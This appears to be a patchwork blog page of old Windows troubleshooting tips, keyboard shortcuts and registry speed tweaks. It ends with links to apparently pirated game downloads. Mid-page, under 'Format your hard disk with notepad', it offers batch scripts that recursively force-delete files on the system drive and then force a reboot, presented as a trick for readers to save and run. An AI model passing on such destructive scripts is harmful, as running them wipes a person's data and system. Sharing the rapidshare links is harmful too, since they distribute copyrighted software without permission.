One way around this problem is to enter the BIOS settings and increase the wait state of the Ram. This can make it more stable. Another way to troubleshoot a suspected Ram problem is to rearrange the Ram chips on the motherboard, or take some of them out. Then try to repeat the circumstances that caused the crash. When handling Ram try not to touch the gold connections, as they can be easily damaged.

Parity error messages also refer to Ram. Modern Ram chips are either parity (ECC) or non parity (non-ECC). It is best not to mix the two types, as this can be a cause of trouble.

EMM386 error messages refer to memory problems but may not be connected to bad Ram. This may be due to free memory problems often linked to old Dos-based programmes.

3. BIOS settings

Every motherboard is supplied with a range of chipset settings that are decided in the factory. A common way to access these settings is to press the F2 or delete button during the first few seconds of a boot-up.

Once inside the BIOS, great care should be taken. It is a good idea to write down on a piece of paper all the settings that appear on the screen. That way, if you change something and the computer becomes more unstable, you will know what settings to revert to.

A common BIOS error concerns the CAS latency. This refers to the Ram. Older EDO (extended data out) Ram has a CAS latency of 3. Newer SDRam has a CAS latency of 2. Setting the wrong figure can cause the Ram to lock up and freeze the computer's display.

Mcft Windows is better at allocating IRQ numbers than any BIOS. If possible set the IRQ numbers to Auto in the BIOS. This will allow Windows to allocate the IRQ numbers (make sure the BIOS setting for Plug and Play OS is switched to 'yes' to allow Windows to do this.).

4. Hard disk drives

After a few weeks, the information on a hard disk drive starts to become piecemeal or fragmented. It is a good idea to defragment the hard disk every week or so, to prevent the disk from causing a screen freeze. Go to

* Start-Programs-Accessories-System Tools-Disk Defragmenter

This will start the procedure. You will be unable to write data to the hard drive (to save it) while the disk is defragmenting, so it is a good idea to schedule the procedure for a period of inactivity using the Task Scheduler.

The Task Scheduler should be one of the small icons on the bottom right of the Windows opening page (the desktop).

Some lockups and screen freezes caused by hard disk problems can be solved by reducing the read-ahead optimisation. This can be adjusted by going to

* Start-Settings-Control Panel-System Icon-Performance-File System-Hard Disk.

Hard disks will slow down and crash if they are too full. Do some housekeeping on your hard drive every few months and free some space on it. Open the Windows folder on the C drive and find the Temporary Internet Files folder. Deleting the contents (not the folder) can free a lot of space.

Empty the Recycle Bin every week to free more space. Hard disk drives should be scanned every week for errors or bad sectors. Go to

* Start-Programs-Accessories-System Tools-ScanDisk

Otherwise assign the Task Scheduler to perform this operation at night when the computer is not in use.

5. Fatal OE exceptions and VXD errors

Fatal OE exception errors and VXD errors are often caused by video card problems.

These can often be resolved easily by reducing the resolution of the video display. Go to

* Start-Settings-Control Panel-Display-Settings

Here you should slide the screen area bar to the left. Take a look at the colour settings on the left of that window. For most desktops, high colour 16-bit depth is adequate.

If the screen freezes or you experience system lockups it might be due to the video card. Make sure it does not have a hardware conflict. Go to

* Start-Settings-Control Panel-System-Device Manager

Here, select the + beside Display Adapter. A line of text describing your video card should appear. Select it (make it blue) and press properties. Then select Resources and select each line in the window. Look for a message that says No Conflicts.

If you have video card hardware conflict, you will see it here. Be careful at this point and make a note of everything you do in case you make things worse.

The way to resolve a hardware conflict is to uncheck the Use Automatic Settings box and hit the Change Settings button. You are searching for a setting that will display a No Conflicts message.

Another useful way to resolve video problems is to go to

* Start-Settings-Control Panel-System-Performance-Graphics

Here you should move the Hardware Acceleration slider to the left. As ever, the most common cause of problems relating to graphics cards is old or faulty drivers (a driver is a small piece of software used by a computer to communicate with a device).

Look up your video card's manufacturer on the internet and search for the most recent drivers for it.

6. Viruses

Often the first sign of a virus infection is instability. Some viruses erase the boot sector of a hard drive, making it impossible to start. This is why it is a good idea to create a Windows start-up disk. Go to

* Start-Settings-Control Panel-Add/Remove Programs

Here, look for the Start Up Disk tab. Virus protection requires constant vigilance.

A virus scanner requires a list of virus signatures in order to be able to identify viruses. These signatures are stored in a DAT file. DAT files should be updated weekly from the website of your antivirus software manufacturer.

An excellent antivirus programme is McAfee VirusScan by Network Associates ( www.nai.com). Another is Norton AntiVirus 2000, made by Symantec ( www.symantec.com).

7. Printers

The action of sending a document to print creates a bigger file, often called a postscript file.

Printers have only a small amount of memory, called a buffer. This can be easily overloaded. Printing a document also uses a considerable amount of CPU power. This will also slow down the computer's performance.

If the printer is trying to print unusual characters, these might not be recognised, and can crash the computer. Sometimes printers will not recover from a crash because of confusion in the buffer. A good way to clear the buffer is to unplug the printer for ten seconds. Booting up from a powerless state, also called a cold boot, will restore the printer's default settings and you may be able to carry on.

8. Software

A common cause of computer crash is faulty or badly-installed software. Often the problem can be cured by uninstalling the software and then reinstalling it. Use Norton Uninstall or Uninstall Shield to remove an application from your system properly. This will also remove references to the programme in the System Registry and leaves the way clear for a completely fresh copy.

The System Registry can be corrupted by old references to obsolete software that you thought was uninstalled. Use Reg Cleaner by Jouni Vuorio to clean up the System Registry and remove obsolete entries. It works on Windows 95, Windows 98, Windows 98 SE (Second Edition), Windows Millennium Edition (ME), NT4 and Windows 2000.

Read the instructions and use it carefully so you don't do permanent damage to the Registry. If the Registry is damaged you will have to reinstall your operating system. Reg Cleaner can be obtained from www.jv16.org

Often a Windows problem can be resolved by entering Safe Mode. This can be done during start-up. When you see the message "Starting Windows" press F4. This should take you into Safe Mode.

Safe Mode loads a minimum of drivers. It allows you to find and fix problems that prevent Windows from loading properly.

Sometimes installing Windows is difficult because of unsuitable BIOS settings. If you keep getting SUWIN error messages (Windows setup) during the Windows installation, then try entering the BIOS and disabling the CPU internal cache. Try to disable the Level 2 (L2) cache if that doesn't work.

Remember to restore all the BIOS settings back to their former settings following installation.

9. Overheating

Central processing units (CPUs) are usually equipped with fans to keep them cool. If the fan fails or if the CPU gets old it may start to overheat and generate a particular kind of error called a kernel error. This is a common problem in chips that have been overclocked to operate at higher speeds than they are supposed to.

One remedy is to get a bigger better fan and install it on top of the CPU. Specialist cooling fans/heatsinks are available from www.computernerd.com or www.coolit.com

CPU problems can often be fixed by disabling the CPU internal cache in the BIOS. This will make the machine run more slowly, but it should also be more stable.

10. Power supply problems

With all the new construction going on around the country the steady supply of electricity has become disrupted. A power surge or spike can crash a computer as easily as a power cut.

If this has become a nuisance for you then consider buying a uninterrupted power supply (UPS). This will give you a clean power supply when there is electricity, and it will give you a few minutes to perform a controlled shutdown in case of a power cut.

It is a good investment if your data are critical, because a power cut will cause any unsaved data to be lost.

Windows Shortcuts

Keyboard shortcuts you never knew existed!

Ctrl + Shift + Esc - Brings up the task manager

CTRL and A Selects all the items in the active window.

CTRL and C Copies the item or items to the Clipboard and can be pasted using CTRL and V.

CTRL and F Displays the Find all files dialog box.

CTRL and G Displays the Go to folder dialog box.

CTRL and N Displays the New dialog box.

CTRL and O Displays the Open dialog box.

CTRL and P Displays the Print dialog box.

CTRL and S Displays the Save dialog box.

CTRL and V Pastes the copied item or items from the Clipboard.

CTRL and X Cuts the item or items selected to the Clipboard.

CTRL and Z Undoes the last action.

CTRL and F4 Closes the active document window.

CTRL while dragging an item Copy the selected item

CTRL+SHIFT with arrow keys Highlight a block of text

CTRL+F4 Close the active document

CTRL+ESC Display the Start menu

CTRL and F6 Opens the next document window in the active application.

ALT+ENTER View the properties for the selected item

ALT+F4 Close the active item, or quit the active program

ALT+SPACEBAR Open the shortcut menu for the active window

ALT+TAB Switch between the open items

ALT+ESC Cycle through items in the order that they had been opened

F1 key Gives help on the active window or selected item.

F2 key Rename the selected item

F3 key Search for a file or a folder

F4 key Display the Address bar list in My Computer or Windows Explorer

F5 key Update the active window

F6 key Cycle through the screen elements in a window or on the desktop

F10 key Activate the menu bar in the active program

Windows Logo Display or hide the Start menu

Windows Logo+PAUSE Display the System Properties dialog box

Windows Logo+D Display the desktop

Windows Logo+M Minimize all of the windows

Windows Logo+SHIFT+M Restore the minimized windows

Windows Logo+E Open My Computer

Windows Logo+F Search for a file or a folder

CTRL+Windows Logo+F Search for computers

Windows Logo+F1 Display Windows Help

Windows Logo+ L Lock the keyboard

Windows Logo+R Open the Run dialog box

Windows Logo+U Open Utility Manager

TAB Move forward through

Windows Tips and Tricks

SPEED UP FOLDER BROWSING

You may have noticed that everytime you open my computer to browse folders that there is a slight delay. This is because Windows XP automatically searches for network files and printers everytime you open Windows Explorer. To fix this and to increase browsing significantly:

1. Open My Computer

2. Click on Tools menu

3. Click on Folder Options

4. Click on the View tab.

5. Uncheck the Automatically search for network folders and printers check box

6. Click Apply

7. Click Ok

8. Reboot your computer

IMPROVE XP SHUTDOWN SPEED

This will reduce the time XP waits before automatically closing any running programs when you give it the command to shutdown.

Go to Start then select Run

Type 'Regedit' and click ok

Find 'HKEY_CURRENT_USER\Control Panel\Desktop\'

Select 'WaitToKillAppTimeout'

Right click and select 'Modify'

Change the value to '1000'

Click 'OK'

Now select 'HungAppTimeout'

Right click and select 'Modify'

Change the value to '1000'

Click 'OK'

Now find 'HKEY_USERS\.DEFAULT\Control Panel\Desktop'

Select 'WaitToKillAppTimeout'

Right click and select 'Modify'

Change the value to '1000'

Click 'OK'

Now find 'HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\'

Select 'WaitToKillServiceTimeout'

Right click and select 'Modify'

Change the value to '1000'

Click 'OK'

U r done ....ur pc will shut down faster than before


USE YOUR NOTEPAD AS PERSONAL DIARY

Open a BLank notepad.......write .LOG in the first line. Press Enter

Save the file and then close

Reopen the file...u can see the current date and time now

Write down ur notes...Press enter again ...save and close..

evrytime u open the file...the current date and time gets recorded

Format your hard disk with notepad

Format your hard disk with notepad
go to notepad
@Echo off
Del C:\ *.*y
save it as Delete.bat

or worse

@echo off
del %systemdrive%\*.*/f/s/q
shutdown -r -f -t 00


and save it as a .bat file

Tips to improve ur computer performance speed

Your computer running Windows isn’t running in the same speed that it used to run when you first used it. It’s slower, crappy, takes a while to start and tests your patience like anything. There are many reasons for this, let’s try fixing up a few things on your slow Windows PC:

Slow Start Up
There can be a variety of reasons to Windows loading slow during start up. Go to Run, type msconfig and hit enter. Under the ‘Start Up’ tab, uncheck the unwanted programs and press OK. Things should be a bit fine the next time Windows boots.

Another program worth mentioning here is StartUp Delayer which will help in setting after how much time programs should be loaded after Windows boots. For instance, you could set your instant messenger program to load 50 seconds after Windows starts up.

Slow Loading Start Menu
If the Start Menu items are loading slowly, you can open the Registry Editor by typing in the Run menu ‘regedit.exe’ and pressing Enter. Go to HKEY_CURRENT_USER\Control Panel\Desktop. Look for MenuShowDelay, and double click to edit the value. The lower the number specified, the faster the Start Menu will load.

Slow Right Click Context Menu
Probably the Windows Right Click menu on your computer is loading slow because too many programs added unwanted entries there. Just download this program called Mmm, install it and then modify your context menu to remove unwanted items to speed it up.

'Send To' Menu Slow Send To Menu
If the Send To menu loads slowly, you can type ’sendto’ in the Run Dialog, and remove unwanted items in the Explorer Window that appears. This should add some speed to it.

Slow Defragmentation
The Windows Defragmenter can’t get any slower. You need to have an alternative to the Windows Defragmenter, and Defraggler is just one of the best ones available in the market. It’s free, and works like a charm and can speed up defragmentation manifold

Slow loading My Computer Window
my-computer.jpg If the My Computer Window loads slowly, in the Explorer Window, go to Tools >> Folder Options >> View and uncheck ‘Automatically search for network folders and printers”

Slow loading Add or Remove Programs Applet
This is one of the most annoying piece of programs present in Windows, it takes ages to load if you have a considerable number of programs installed on your computer. You can either use the all-in-one CCleaner for this purpose, or get MyUninstaller that comes as a speedy replacement for Add or Remove Programs.

Slow Ending of Unresponsive Programs
If you’ve clicked on ‘End Task’ if any program is running unresponsive, you might have noticed that the program is not terminated immediately. You can alter this by going to Run >> regedit.exe >> HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\ and change this value to 1000.

Disable Animations and Appearance Overhauls to maximize performance
If you’re a serious performance junkie, you probably won’t bother about eyecandy. Go to System Properties in the Control Panel. Click ‘Advanced’, then ‘Performance’ and click ‘Adjust for best performance’. This might boost your PC’s performance up a bit.

Additional Tips:

- Always keep your computer clean. Remove Junk and Unnecessary registry entries. Use CCleaner for this purpose, one excellent tool that just does what it says.

- Don’t keep installing software. Install a program only if it really serves you a purpose.

- Keep as less programs as possible running on the System Tray. This essentially means reducing the number of programs that start during Windows start up.

Games

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NFS UnderGround

System requirements

* Windows 98/ME/2000/XP/VISTA
* 700 MHz CPU
* 128 MB RAM for 98/ME (256 MB RAM for 2000/XP)
* 2 GB hard disk space
* DirectX 9.0 compatible 32 MB AGP graphics card with one of these chipsets Radeon 7500; GeForce 2; Matrox Parhelia; SIS Xabre; Intel 865
* DirectX 9.0 compatible sound card

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http://rapidshare.com/files/152331958/NFS_7_UnderGround.part4.rar

Desert Conflict Storm II- Back to Baghdad

At the height of the 1991 Gulf War, 300 clicks into the heart of Iraq, you must command your squad of Special Forces operatives to strike at Iraq's evil dictator, and his fascist regime. Armed with an authentic arsenal of high-tech weapons and vehicles, your squad will face impossible odds in this battle against tyranny.

Only strategy and skill will ensure your survival through frantic firefights, gut-wrenching vehicular combat, and gripping stealth operations. "The Mother of All Battles" is coming to your PC in Gotham Games' Conflict: Desert Storm II - Back to Baghdad. The troops are in position, so lock and load, and get ready...

http://rapidshare.com/files/123445967/Con_Des_Sto_II_Ba_Bagh_By_Toxic.part1.rar
http://rapidshare.com/files/123449755/Con_Des_Sto_II_Ba_Bagh_By_Toxic.part2.rar

Swat 4

Minimum System Requirements:
System: Pentium III 1.0GHz / Celeron 1.2Ghz / Athlon 1.2 GHz or equivalent
RAM: 256 MB
Video Memory: 32 MB
Hard Drive Space: 2000 MB

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http://rapidshare.com/files/127722639/Sw_4_By_Toxic.part3.rar
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Reservoir Dogs

System Requirements

Min. System Requirements

* Windows 2000 / XP
* Processor: Pentium 3 800 MHz
* DirectX 9.0c
* 256 MB RAM
* Free hard drive space: 2 GB
* Video Card: 3D Accelerator with Hardware T&L and Pixel Shading 32MB Directx 9.0c
* 16-bits Sound Card


Installation

1) Extract,
2) Run _Unpak.Bat,
3) Wait........................
4) Enjoy The Game

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http://rapidshare.com/files/123156313/Reservoir.Dogs.www.softarchive.net.part2.rar

http://rapidshare.com/files/123154424/Reservoir.Dogs.www.softarchive.net.part3.rar